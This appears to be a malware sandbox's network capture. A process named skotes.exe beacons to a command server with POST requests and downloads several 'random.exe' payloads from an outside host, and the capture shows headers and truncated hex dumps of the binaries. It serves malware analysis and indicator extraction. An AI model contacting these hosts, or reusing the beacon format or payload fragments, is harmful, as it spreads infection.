Dec 20, 2024 07:12:10.150140047 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 06:12:09 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT Connection: keep-alive ETag: "6761482a-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 20, 2024 07:12:10.150156021 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 07:12:10.150178909 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 07:12:10.150187969 CET	1236	IN	Data Raw: 8b 6c 24 0c 8d 74 24 14 c6 07 00 68 35 02 00 00 56 e8 6d fe ff ff 83 c4 08 89 c7 3b 44 24 48 75 1a 8b 44 1d 24 8b 4c 24 04 0f b7 04 01 8b 4c 1d 1c 01 d9 8b 04 81 89 04 24 eb 05 83 44 24 08 04 8b 44 24 28 83 f8 10 72 2d 8b 4c 24 14 8d 70 01 81 fe Data Ascii: l$t$h5Vm;D$HuD$L$L$D$D$(r-L$prQ) sT$VQl$;\|$HtD$$4$L$,10^_[]*-USWV$$$ WB1$1
Dec 20, 2024 07:12:10.150194883 CET	448	IN	Data Raw: ff ff 83 ec 14 0f 28 05 10 c0 41 00 0f 11 44 24 04 89 1c 24 c7 44 24 18 00 00 00 00 c7 44 24 14 80 00 00 00 ff d0 83 f8 ff 0f 84 ab 01 00 00 89 c7 6a 00 50 ff 15 98 39 42 00 83 f8 ff 0f 84 70 01 00 00 89 c3 50 e8 1c 13 00 00 83 c4 04 89 c5 8d 44 Data Ascii: (AD$$D$D$jP9BpPD$jPSUW,:BBW49BE<L=l$$D$\$L$WD$ WD$Uv+w\|$ D$$WUS`K
Dec 20, 2024 07:12:10.150211096 CET	1236	IN	Data Raw: 00 00 00 00 c7 04 24 00 00 00 00 ff 34 24 ff 74 24 08 e8 34 fd ff ff 83 c4 08 8b 4c 24 28 31 e1 e8 90 11 00 00 b0 01 83 c4 2c 5e 5f 5b 5d c3 e8 1b 00 00 00 e8 1e 9c 00 00 c7 05 70 64 42 00 00 00 00 00 c3 c7 05 74 64 42 00 00 00 00 00 c3 68 2d 03 Data Ascii: $4$t$4L$(1,^_[]pdBtdBh-BfD$s#PH#A@@B$AhLABPBVD$(A1VVQPG$A^VD$(A1VVQP
Dec 20, 2024 07:12:10.150224924 CET	224	IN	Data Raw: 11 46 04 c7 46 0c 00 00 00 00 6a 20 e8 5c 0c 00 00 83 c4 04 89 c7 89 06 c7 46 10 15 00 00 00 c7 46 14 1f 00 00 00 0f 10 05 f4 c1 41 00 0f 11 00 f2 0f 10 05 01 c2 41 00 f2 0f 11 40 0d 83 c7 15 e9 8f 00 00 00 50 e8 00 14 00 00 83 c4 04 89 c3 0f 57 Data Ascii: FFj \FFAA@PWWFP7xxw~FWSVYI$CCrPP~^Wt$PY^_[]
Dec 20, 2024 07:12:10.150299072 CET	1236	IN	Data Raw: c2 08 00 e8 93 fa ff ff cc 8b 44 24 04 8b 54 24 08 89 10 89 48 04 c2 08 00 8b 44 24 04 8b 10 8b 40 04 8b 49 04 33 48 04 33 54 24 08 09 ca 0f 94 c0 c2 08 00 cc 53 57 56 83 ec 0c 8b 74 24 20 8b 44 24 1c 8b 15 c0 57 42 00 31 e2 89 54 24 08 8b 11 89 Data Ascii: D$T$HD$@I3H3T$SWVt$ D$WB1T$PWROVI3J3L$1^_[USWVWB1D$WD$W$t$8l$4\$0wx@Wt$<PXQ
Dec 20, 2024 07:12:10.150316000 CET	1236	IN	Data Raw: 01 fb 8b 74 24 20 56 ff 74 24 20 53 e8 96 54 00 00 83 c4 0c c6 04 1e 00 89 7d 00 89 e8 83 c4 08 5e 5f 5b 5d c2 08 00 89 f8 83 c8 0f 01 d1 39 c8 89 ce 0f 47 f0 89 f0 40 75 0a 31 c0 31 f6 4e e9 13 ff ff ff 3d 00 10 00 00 0f 83 fb fe ff ff 50 e8 64 Data Ascii: t$ Vt$ ST}^_[]9G@u11N=PdhkV@\|u.Dt%L8P4u@DjP}^WVWB1D$V&t!@L8D$Pf1HT
Dec 20, 2024 07:12:10.150331974 CET	1236	IN	Data Raw: 57 56 8b 5c 24 14 8b 74 24 10 39 de 74 1b 89 cf 83 c7 08 0f b6 06 57 50 e8 f6 21 00 00 83 c4 08 88 06 46 39 de 75 ec 89 de 89 f0 5e 5f 5b c2 08 00 0f b6 44 24 04 83 c1 08 51 50 e8 d3 21 00 00 83 c4 08 c2 04 00 cc 56 8b 44 24 08 8b 74 24 0c 89 f1 Data Ascii: WV\$t$9tWP!F9u^_[D$QP!VD$t$)QPt$tO^D$VD$t$)QPt$JO^D$Vy~vxv^FtPVD$(A1VVQP78
Dec 20, 2024 07:12:10.270014048 CET	1236	IN	Data Raw: 7d 00 00 59 85 c0 75 0f 68 ac 64 42 00 e8 d8 7d 00 00 59 85 c0 74 2b 32 c0 eb 30 83 c9 ff 89 0d a0 64 42 00 89 0d a4 64 42 00 89 0d a8 64 42 00 89 0d ac 64 42 00 89 0d b0 64 42 00 89 0d b4 64 42 00 c6 05 9d 64 42 00 01 b0 01 5e 5d c3 6a 05 e8 8a Data Ascii: }YuhdB}Yt+20dBdBdBdBdBdBdB^]j#UEVH<AQAk(J9MrB9Er(;u3^]UEVu}kdBP$Y^]x}kdBP$Y3W@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49771	185.215.113.43	80	1908	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:12:14.039130926 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 32 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018264001&unit=246122658369
Dec 20, 2024 07:12:15.390146971 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 06:12:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49777	31.41.244.11	80	1908	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:12:15.512264967 CET	61	OUT	GET /files/london/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 07:12:16.836447954 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 06:12:16 GMT Content-Type: application/octet-stream Content-Length: 1885696 Last-Modified: Wed, 18 Dec 2024 18:20:46 GMT Connection: keep-alive ETag: "6763127e-1cc600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 25 2d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gJ@J%-@T0h 1 H@.rsrc X@.idata 0Z@ *@\@uzxdwyviP 0B^@efzdldigpJ@.taggant0J"@
Dec 20, 2024 07:12:16.836483955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 07:12:16.836497068 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 07:12:16.836560965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 07:12:16.836575031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ])u-piTJ32d<eA}
Dec 20, 2024 07:12:16.836589098 CET	448	IN	Data Raw: 21 cf 66 2e ba 16 26 9b 62 40 6b 92 4d 3f 11 5b 40 8d 52 21 cb d4 f8 c0 34 66 c1 b5 39 24 f2 13 7d b9 bf 75 bd d7 8b 62 c7 b9 e7 ae 7a 6f a1 06 5f 08 e4 a1 31 a9 7e f1 03 7c fe 9b 75 11 2e 8a 82 79 f9 f9 25 75 52 7d 09 2d 20 4e fc 23 00 60 02 28 Data Ascii: !f.&b@kM?[@R!4f9$}ubzo_1~\|u.y%uR}- N#`(W%:YPhnTbGh"CMGC3DlPMgQVJGPn@G-&PU 2dhCac^la]EJQ-vMWY$G!:yEu^nD
Dec 20, 2024 07:12:16.836699009 CET	1236	IN	Data Raw: a9 6e bf c6 57 cd fd 16 18 29 60 71 e6 87 fe ae 0a 31 f6 7d bc 5a 34 58 b1 d5 e9 11 4b 53 d2 95 01 f1 14 ad 65 79 e2 bc c4 4e ba f6 41 41 c3 dc 33 cd cd 28 81 2d fc ba c5 e5 5e 94 3e 4d ed 7b 9d 42 c2 40 3c 69 e9 b9 91 78 94 ca 8a 45 01 8a 02 d9 Data Ascii: nW)`q1}Z4XKSeyNAA3(-^>M{B@<ixEq9{X64mk%aa-r(Ml':-.AC5`2B[VAd!^iynugK6`tst~\|G61Y5&:`c_}Kz{;\
Dec 20, 2024 07:12:16.836713076 CET	1236	IN	Data Raw: 4f 19 68 44 7e 28 a0 ee 57 21 15 65 5c 65 42 40 68 e8 83 b3 12 68 f5 10 f8 ea 58 71 80 76 79 7c 34 49 b2 f8 50 5e e0 72 38 3a 7d 45 49 9e fe 43 c6 54 9d fb db d1 e5 e1 9c ce f7 da 5e 43 e6 6b ca 0d 58 80 fe eb c8 43 4d 32 41 d1 57 08 ec 89 41 4e Data Ascii: OhD~(W!e\eB@hhXqvy\|4IP^r8:}EICT^CkXCM2AWAN voqpgx8u<~LS>pw_ &wD?ve?JUl^1c'"[w8+QU,CS;TYu=}e6`yaIu>Xyu1?Ft
Dec 20, 2024 07:12:16.836726904 CET	448	IN	Data Raw: 04 d7 74 18 f1 0a 3e 0a 18 15 ea c2 dd 5c f9 c3 01 4d 06 9a fd 3e be 0b 87 a5 7a e1 d9 0e ee c5 c0 cf 91 c8 fb 2e 22 59 f2 18 91 00 37 7b d0 5e a8 f4 b0 ff e8 7b 39 d3 dc b7 0c 99 b9 ce e1 ee 3d c6 f9 94 fc 14 9f d6 14 0b 4b 4f 15 01 78 5b d1 d1 Data Ascii: t>\M>z."Y7{^{9=KOx[X{QIsyIj<g3MN:Dle@ay}&y.=ht}e@\|MseCfC#ryD)D~bY/s0:yA@0[ODs+^
Dec 20, 2024 07:12:16.836741924 CET	1236	IN	Data Raw: ce b3 75 db 64 f3 ff fb 46 40 0a ac b9 05 88 9f d2 1d 91 fa cd 55 3c 50 51 e5 e4 9a df aa 5b ad f5 2f b3 a1 ca ad 87 d6 39 15 fc 45 ad b5 15 c3 7e 0d 16 e3 44 e5 85 60 ad 26 74 da 75 50 87 3b f1 75 8c 53 24 7a a1 b7 b3 29 a5 ee f6 2e 0c 26 8c bd Data Ascii: udF@U<PQ[/9E~D`&tuP;uS$z).&]7w-\|Nr-=(YdMTKn>smx'JN\vOt;BSC"!0qY3YOJDMQ\|t3mA-nyr1
Dec 20, 2024 07:12:16.956468105 CET	1236	IN	Data Raw: c4 ab 59 80 52 a9 a6 9d bf d7 f5 7d 4d 34 ba f2 59 a8 5f fe 1d 61 f7 f5 c3 a5 5f c0 7d 4b 25 15 ed 0f 12 91 7a 91 bd 01 86 35 63 94 d5 3f d4 5b 59 39 06 8e c4 c8 a1 8e 2d 85 d6 d8 a6 50 44 c0 03 15 c3 4a 32 39 6e e2 0c 13 39 2d 10 6a ba 10 b3 6f Data Ascii: YR}M4Y_a_}K%z5c?[Y9-PDJ29n9-jo2`lAn9YtYnnN/\W>Bl,)f*:,^@S8@@(jau5rc6,O[t\JNK$G556JaoJtND\|'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49795	185.215.113.43	80	1908	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:12:22.529067993 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 32 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018265001&unit=246122658369
Dec 20, 2024 07:12:23.862951040 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 06:12:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49801	31.41.244.11	80	1908	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:12:23.996782064 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 07:12:25.318839073 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 06:12:25 GMT Content-Type: application/octet-stream Content-Length: 4465152 Last-Modified: Fri, 20 Dec 2024 05:53:24 GMT Connection: keep-alive ETag: "67650654-442200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 40 b6 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 b6 00 00 04 00 00 0d e2 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 24 b6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 24 b6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELU`g(>D.d2@PD@pD@ _asa$x$ pa>(@.rsrcaN(@.idata aP(@ 8aR(@oqomgfskT(@ieoflvje0C@.taggant0@"D@
Dec 20, 2024 07:12:25.318906069 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 07:12:25.318963051 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 07:12:25.318999052 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 07:12:25.319032907 CET	896	IN	Data Raw: 0b 27 03 89 17 f0 48 f8 a2 f8 83 ae 91 38 d3 58 ef 8e 2d 6d ef 02 8f f6 c0 b8 62 24 80 bb b9 80 ca 07 2a 71 9d 9e 5a 41 a9 96 1d 2c ac ae 1a 89 f4 ac 87 80 11 b1 49 f6 6e 3c 0e f7 c2 fe 0d 02 eb 5d 0b ee 3a 9b 5e 1f c8 76 a7 39 39 f9 bf f6 e6 a7 Data Ascii: 'H8X-mb$qZA,In<]:^v99b1`MyhFiPRLrA^0OQmyvrGg3-sys}>DQ9zD\|5"8`5\EcF
Dec 20, 2024 07:12:25.319067955 CET	1236	IN	Data Raw: e0 90 09 c8 f1 ad 2f ea dc 09 d2 64 46 20 1a d9 18 df c0 45 86 5d c8 00 33 56 ca ac 0b bb 65 18 2b 85 6d cf 19 76 ee dc de 93 ff 07 6f 87 41 13 97 07 5f b0 20 99 a1 96 31 97 90 b9 33 e5 df d4 84 8d c5 02 25 d9 99 fd 62 b9 55 27 57 b8 be 6a be 0e Data Ascii: /dF E]3Ve+mvoA_ 13%bU'Wj[j*.y1+:yDghEQO'U27\O}hw3yuWnFg>l,!p&6/+1^0+O"xGAB=w\|yrda
Dec 20, 2024 07:12:25.319098949 CET	224	IN	Data Raw: 16 06 46 ad bf 7a 86 b7 87 0c d8 af 9a 57 59 f1 35 7c 9e 1f a6 76 77 85 a0 97 79 37 9e cc 10 8c af b9 c5 dc 83 61 e1 fd a7 39 4b b9 fe 89 5e c1 b8 e4 90 8b 65 3e d0 db 50 b8 0f b2 e0 13 d5 a9 eb 31 5f b5 52 f7 eb 81 14 dd bc 63 26 a5 76 05 8a fe Data Ascii: FzWY5\|vwy7a9K^e>P1_Rc&v z2Boz0+@_2A YyTt' B:N<meh6_u+]ymHegXeL_^q?YV/:'Qp=;*IOVC
Dec 20, 2024 07:12:25.319149017 CET	1236	IN	Data Raw: 14 90 98 fb 93 52 da e4 a0 44 83 27 a7 b3 2a 7b 76 81 a9 82 43 bb f9 2a 06 85 ec 87 19 e1 c6 91 34 b8 10 9c 07 bf 21 21 77 2d a7 11 d0 7a 51 79 56 8c 42 cf b1 0d aa a6 ca b0 e0 6d 09 59 aa 9d 47 95 21 f0 60 82 c1 fe 25 95 c5 2f a4 b5 2b 0b 21 f5 Data Ascii: RD'{vC4!!w-zQyVBmYG!`%/+!R`d&i742'I:%!DU*E=PS`E[NZ9F[nOv#xBQ}>?0^WtVvTJ5W^xv)pr'2C
Dec 20, 2024 07:12:25.319184065 CET	1236	IN	Data Raw: 36 01 de 86 62 e9 a6 86 19 fe 81 f3 c5 ed cf dc bd 38 e0 4b 6f 82 e1 60 4b 65 a6 1b db 09 24 46 06 85 a5 db 44 33 ed c1 cf e8 23 4c df 39 eb a9 a1 61 ce cf 45 fe 42 1f 5b 76 9a 53 43 ad 74 ac 2d 9a ff aa da cb 05 a7 b3 13 18 9f a3 8a 44 7d 16 d0 Data Ascii: 6b8Ko`Ke$FD3#L9aEB[vSCt-D}ti:^Z;b=8WI=Yd)YFD/>)_5'M8yk^Aa:z+QTw.5yO!OV3-{)^QHdT^bD13W-GM
Dec 20, 2024 07:12:25.319219112 CET	1236	IN	Data Raw: 0f f7 2e e2 2a a2 f5 e8 0b bb ee 49 a7 8e 76 fe ad b8 27 15 08 3c ce 12 29 2f 54 f7 99 74 c1 ac 75 38 f6 47 03 78 cc 38 57 5e 64 1f 90 fe 3a 19 b0 50 6e 67 f3 d5 88 b5 38 84 e5 84 fa 00 7b af 90 d4 61 97 b3 7a 1f c2 92 bd 61 b7 d6 07 75 ba 2f c7 Data Ascii: .Iv'<)/Ttu8Gx8W^d:Png8{azau/O;^m2sfc'jA#CR~@UP2+vM:VSbId>-,PegKvJ,}oJ`)<7QX/b]24jZ\|Buy4
Dec 20, 2024 07:12:25.438857079 CET	1236	IN	Data Raw: e5 76 31 04 e9 76 13 7e 45 b7 3d e3 88 82 fd 77 d3 54 71 4e cd f1 9d 71 00 33 fb 6c fd a9 a5 ef d7 9a 37 03 1c fb cf 7c 36 d5 d3 74 3e 5a f0 57 dd ed c6 b9 c1 ee 67 8e f7 f0 c6 32 d3 9a 6e 1d 20 91 93 39 5f 99 40 74 46 8c 32 04 64 a9 95 3b e5 31 Data Ascii: v1v~E=wTqNq3l7\|6t>ZWg2n 9_@tF2d;1EW(AJj13Q7udx~</<wd*3 KjO(]A8K4t!Q&59;{K= 30Bf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49832	185.215.113.43	80	1908	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:12:34.846102953 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 32 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018266001&unit=246122658369
Dec 20, 2024 07:12:36.179577112 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 06:12:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49838	31.41.244.11	80	1908	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 07:12:36.305088997 CET	61	OUT	GET /files/wicked/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 07:12:37.632730961 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 06:12:37 GMT Content-Type: application/octet-stream Content-Length: 1114112 Last-Modified: Thu, 19 Dec 2024 03:43:46 GMT Connection: keep-alive ETag: "67639672-110000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 24 95 63 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 cc 10 00 00 32 00 00 00 00 00 00 ee ea 10 00 00 20 00 00 00 00 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 11 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 ea 10 00 57 00 00 00 00 00 11 00 48 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL$cg02 @ `@WH/@ H.text `.rsrcH/0@@.reloc@@BH<K`pY?F60584zc:VN01O*S~IpRiIPn}iJ!BH+o/Syj8T'}yIkD'$6}w[ )j[-0\|ph\LRT~bKh"8s`)1 [i&9a?FN~_^Q43L@vxIB4\|(~YLS;x)wv:2y%{3w)^7@7k
